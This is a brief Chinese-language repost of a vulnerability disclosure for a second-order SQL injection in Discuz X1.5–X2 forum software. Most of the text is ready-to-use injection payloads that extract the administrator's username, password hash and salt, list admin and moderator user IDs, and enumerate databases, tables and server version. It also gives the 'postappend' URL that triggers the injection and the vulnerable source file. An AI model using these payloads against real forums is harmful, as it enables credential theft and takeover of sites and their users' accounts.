Discuz x1.5 – x2版本 二次注射

2012-4-5 14:51:14 来源:网络转载 浏览:232
Discuz最新漏洞公布:Discuz x1.5 – x2版本 二次注射。
漏洞详情:
a′,`subject`=(/*!select*/ concat(username,′|′,password,′|′,salt) from pre_ucenter_members where uid=1 limit 0,1),comment=
再给出一些语句。
`subject`=(/*!select*/ group_concat(uid,′:′) from pre_common_member where groupid=1),comment=′//查看管理用户
`subject`=(/*!select*/ group_concat(uid,′:′) from pre_common_member where groupid=2),comment=′//超级版主
`subject`=(/*!select*/ group_concat(uid,′:′) from pre_common_member where groupid=3),comment=′//超级版主
`subject`=(/*!select*/ table_name from information_schema.tables where table_schema=0x0000 limit 0,1),comment=′//跑表
 `subject`=(/*!select*/ group_concat(schema_name) from information_schema.schemata),comment=′//获取所有库
`subject`=(/*!select*/ concat(@@version,′:′,user(),′:′,database())),comment=′//版本信息
然后到回复补充那里随便补充一下,注入语句就被执行。
补充的地址:
forum.php?mod=misc&tid={tid}&action=postappend&pid={pid}
上面的语句就会把取得的内容写进回复主题返回。
漏洞文件:
sourcemoduleforumforum_misc.php
(0)
(0)